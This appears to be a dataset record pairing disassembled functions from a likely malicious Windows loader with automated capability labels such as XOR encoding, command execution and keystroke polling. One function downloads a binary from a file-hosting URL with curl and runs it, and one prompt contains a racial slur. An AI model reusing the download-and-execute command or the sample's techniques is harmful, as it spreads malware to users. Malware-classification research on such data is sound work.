joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005f380
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
xor r8d, r8d
mov r10, rdx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14005f4e6
movdqa xmm4, xmmword [0x14011d130]
lea rax, [r10 + 0x40]
lea rdx, [rcx + 0x40]
cmp rcx, rax
ja 0x14005f3b5
cmp rdx, r10
jae 0x14005f4e6
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm0, xmmword [0x140122d20]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x140122d30]
mov rdx, r10
movdqa xmm5, xmmword [str.6666HKRC_NGO]
sub rdx, rcx
movdqa xmm6, xmmword [0x140122d10]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea r9, [r9 + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 0xc]
xorps xmm2, xmm0
movd dword [r9 - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x40
jl 0x14005f3f0
movaps xmm6, xmmword [rsp + 0x10]
cmp r8d, 0x41
jge 0x14005f526
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor al, byte [r10 + r9 - 1]
mov byte [r9 - 1], al
cmp r8d, 0x41
jl 0x14005f4f0
add rsp, 0x28
ret
Function at 0x14005f530
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
xor r8d, r8d
mov r10, rdx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14005f696
movdqa xmm4, xmmword [0x14011d130]
lea rax, [r10 + 0x48]
lea rdx, [rcx + 0x48]
cmp rcx, rax
ja 0x14005f565
cmp rdx, r10
jae 0x14005f696
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm0, xmmword [0x140122d20]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x140122d30]
mov rdx, r10
movdqa xmm5, xmmword [str.6666HKRC_NGO]
sub rdx, rcx
movdqa xmm6, xmmword [0x140122d10]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea r9, [r9 + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 0xc]
xorps xmm2, xmm0
movd dword [r9 - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x48
jl 0x14005f5a0
movaps xmm6, xmmword [rsp + 0x10]
cmp r8d, 0x49
jge 0x14005f6d6
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor al, byte [r10 + r9 - 1]
mov byte [r9 - 1], al
cmp r8d, 0x49
jl 0x14005f6a0
add rsp, 0x28
ret
Function at 0x14005f750
Capabilities:
Encode data using xor

Disassembly:
cmp dword [reloc.WS2_32.dll_accept], 2
mov r9, rdx
mov r8, rcx
jl 0x14005f8ba
add rcx, 0xb
lea rax, [rdx + 0xb]
cmp r8, rax
ja 0x14005f779
cmp rcx, rdx
jae 0x14005f8ba
movdqa xmm5, xmmword [0x140122d30]
movdqa xmm2, xmmword [0x14011d130]
movdqa xmm3, xmmword [0x140122ca0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140122d10]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
movd xmm0, dword [rdx]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
movd dword [r8], xmm2
movdqa xmm2, xmmword [0x140122c80]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rdx + 4]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
movd dword [r8 + 4], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm3, xmm0
movd xmm0, dword [rdx + 8]
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x140122d20]
xorps xmm3, xmm0
movd dword [r8 + 8], xmm3
ret
sub r9, r8
xor ecx, ecx
nop
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor al, byte [r8 + r9 - 1]
mov byte [r8 - 1], al
cmp ecx, 0xc
jl 0x14005f8c0
ret
Function at 0x14005f900
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov r10, rdx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14005fa6f
lea rax, [r10 + 0xc]
lea rdx, [rcx + 0xc]
cmp rcx, rax
ja 0x14005f929
cmp rdx, r10
jae 0x14005fa6f
movdqa xmm5, xmmword [0x140122d30]
mov r8d, listen
movdqa xmm2, xmmword [0x14011d130]
movdqa xmm3, xmmword [0x140122ca0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140122d10]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
movd xmm0, dword [r10]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm2, xmmword [0x140122c80]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [r10 + 4]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
movd dword [rcx + 4], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm3, xmm0
movd xmm0, dword [r10 + 8]
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x140122d20]
xorps xmm3, xmm0
movd dword [rcx + 8], xmm3
mov r9d, r8d
add r9, rcx
sub r10, rcx
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor al, byte [r9 + r10 - 1]
mov byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005fa80
ret
Function at 0x14005fac0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov r10, rdx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14005fc2f
lea rax, [r10 + 0xd]
lea rdx, [rcx + 0xd]
cmp rcx, rax
ja 0x14005fae9
cmp rdx, r10
jae 0x14005fc2f
movdqa xmm5, xmmword [0x140122d30]
mov r8d, listen
movdqa xmm2, xmmword [0x14011d130]
movdqa xmm3, xmmword [0x140122ca0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140122d10]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
movd xmm0, dword [r10]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm2, xmmword [0x140122c80]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [r10 + 4]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140122d20]
xorps xmm2, xmm0
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
movd dword [rcx + 4], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666HKRC_NGO]
psubd xmm3, xmm0
movd xmm0, dword [r10 + 8]
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x140122d20]
xorps xmm3, xmm0
movd dword [rcx + 8], xmm3
mov r9d, r8d
add r9, rcx
sub r10, rcx
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor al, byte [r9 + r10 - 1]
mov byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005fc40
ret
Function at 0x140061e20
Capabilities:
Execute command

Disassembly:
sub rsp, 0x88
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___LOADING_
call fcn.140056920
lea rdx, [0x140058490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov cl, 1
call fcn.14004ed10
mov qword [0x140184788], rax
cmp rax, 0xffffffffffffffff
jne 0x140061ebd
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x80], rbx
lea rcx, [rsp + 0x90]
call fcn.140059e90
mov rcx, rax
call fcn.140059a80
lea rdx, [rsp + 0x50]
mov rbx, rax
lea rcx, [rsp + 0x90]
call fcn.140059d60
mov rcx, rax
call fcn.140059ba0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [0x140184788]
mov rbx, qword [rsp + 0x80]
xor ecx, ecx
lea rdx, [0x14015e790]
mov qword [rsp + 0x48], rcx
xor r9d, r9d
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], cl
mov rcx, rax
call fcn.14004a060
mov rcx, qword [0x140184788]
call fcn.14004fdb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___LOADED_READY_TO_USE_
call fcn.140056920
lea rdx, [0x140058490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___PLEASE_RERUN_THE_PROGRAM______
call fcn.140056920
lea rdx, [0x140058490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x107e
mov byte [0x140184780], 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14012284c]
add rsp, 0x88
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
Function at 0x140062740
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14017ce80]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor esi, esi
mov dword [rsp + 0x38], esi
lea rcx, [rsp + 0x40]
call fcn.14004caf0
nop
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.HTTPChecker
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
je 0x1400627ef
mov rcx, rdi
call fcn.1400048c0
mov rdx, rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x1400627e6
mov ecx, 0x1000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
mov rcx, rsi
test rax, rax
jne 0x140062800
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x14011509e]
mov rcx, rbx
call fcn.140002e70
jmp 0x140062874
lea r9, [rsp + 0x38]
mov r8d, 0x1000
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14006284b
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x14006284b
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400047b0
lea r9, [rsp + 0x38]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140062818
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14003ad40
nop
lea rcx, [rsp + 0x40]
call fcn.1400034d0
mov rax, rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14010dc10
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140063910
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14017ce80]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edi, r8d
mov rsi, rdx
xor ebx, ebx
mov qword [rsp + 0x30], rbx
cmp ecx, 0x7b
ja 0x140063958
lea r8, [rsp + 0x30]
mov edx, ecx
lea rcx, [0x140160590]
call fcn.14005a410
mov rbx, qword [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.14004caf0
nop
lea rcx, [rsp + 0x40]
test rbx, rbx
lea rdx, str.Select_a_key
je 0x140063977
mov rdx, rbx
call fcn.140053db0
cmp edi, 1
jne 0x140063992
lea rdx, [0x14011526c]
lea rcx, [rsp + 0x40]
call fcn.140053db0
lea rcx, [rsp + 0x40]
call fcn.1400048c0
mov rdx, rax
movss xmm0, dword [0x140114420]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x38]
call fcn.14000b1d0
movss xmm1, dword [rsp + 0x38]
addss xmm1, dword [0x140114404]
xorps xmm2, xmm2
lea rcx, [rsp + 0x30]
call fcn.1400030e0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400048c0
mov rdx, rbx
mov rcx, rax
call fcn.14003b760
test al, al
je 0x140063a16
test edi, edi
jne 0x140063a16
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x40]
call fcn.1400034d0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14010dc10
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140064060
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x14017ce80]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400640d3
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400640ff
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400640b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14010dc10
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x140184c40], eax
jmp 0x1400640de
Function at 0x1400641d0
Capabilities:
Execute command
Get session user name

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x14017ce80]
xor rax, rsp
mov qword [rsp + 0x260], rax
call fcn.1400637c0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x31
je 0x140064356
nop
cmp al, 0x32
je 0x14006437b
cmp al, 0x33
je 0x140064374
lea rdx, str.____Invalid_input_try_again_nigga._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140056920
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14012284c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400641a0
mov ecx, 0x4d2
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x3c], 0x101
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, str.___Welcome
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140056b00
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140056d70
lea rdx, [0x1400584d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400644f0
mov edx, 9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.140058df0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x28]
call fcn.140058a70
mov r8, rax
lea rdx, [0x140066cf0]
lea rcx, [rsp + 0x40]
call fcn.140054e10
nop
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
test eax, eax
jne 0x140064322
mov dword [rsp + 0x20], gethostname
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140054ef0
mov rcx, rax
call fcn.140058a90
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__kbhit]
test eax, eax
je 0x140064301
mov dl, 1
lea rcx, [rsp + 0x38]
call fcn.1400598b0
lea rcx, [rsp + 0x40]
call fcn.140063fe0
nop
lea rcx, [rsp + 0x40]
call fcn.140059840
call fcn.1400637c0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x31
jne 0x140064200
call fcn.140064390
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14010dc10
add rsp, 0x270
pop rbx
ret
call fcn.140064a20
jmp 0x14006435b
call fcn.140061f70
jmp 0x14006435b
Function at 0x140064a20
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.140059d30
mov rcx, rax
call fcn.140059aa0
mov rdx, rax
mov rcx, rbx
call fcn.140056920
mov rcx, rax
lea rdx, [0x140115dc8]
call fcn.140056920
lea rcx, str.curl__o_C:medaltv.exe_https:__files.catbox.moe_bfavoa.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xd05
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___INSTALLED_PLEASE_FINSIH_INSTALLING_THEN_PLEASE_RERUN_THE_PROGRAM______
call fcn.140056920
lea rdx, [0x140058490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.C:medaltv.exe
add rsp, 0x40
pop rbx
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
Function at 0x140066b30
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.140063820
mov rcx, rbx
call fcn.140063a40
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140066b30
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14017ce80]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
mov rdi, rcx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
nop
mov rcx, qword [0x140184d10]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [0x140184d10]
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdx, qword [0x140184d10]
lea rcx, [rsp + 0x38]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140066bb9
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.14000f450
mov rcx, qword [0x140184d10]
mov rbx, rax
mov qword [rax + 0xc8], rcx
lea rcx, [rsp + 0x30]
mov dword [rax + 0x10], 0x3c888889
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rsp + 0x30]
mov ecx, 1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe00], xmm0
movd xmm0, dword [rsp + 0x34]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe04], xmm0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140066c2f
mov byte [rbx + 0xe08], 1
mov eax, dword [rbx + 0xe04]
mov dword [rbx + 0x36f0], eax
mov byte [rbx + 0x3740], 1
jmp 0x140066c36
mov byte [rbx + 0xe08], 0
mov rcx, rdi
call fcn.1400603a0
cmp dword [rsp + 0x40], 0x12
jne 0x140066b60
call fcn.140030970
call fcn.140030e00
xor ecx, ecx
call fcn.14000d0f0
mov rcx, qword [0x140184d10]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov al, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14010dc10
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret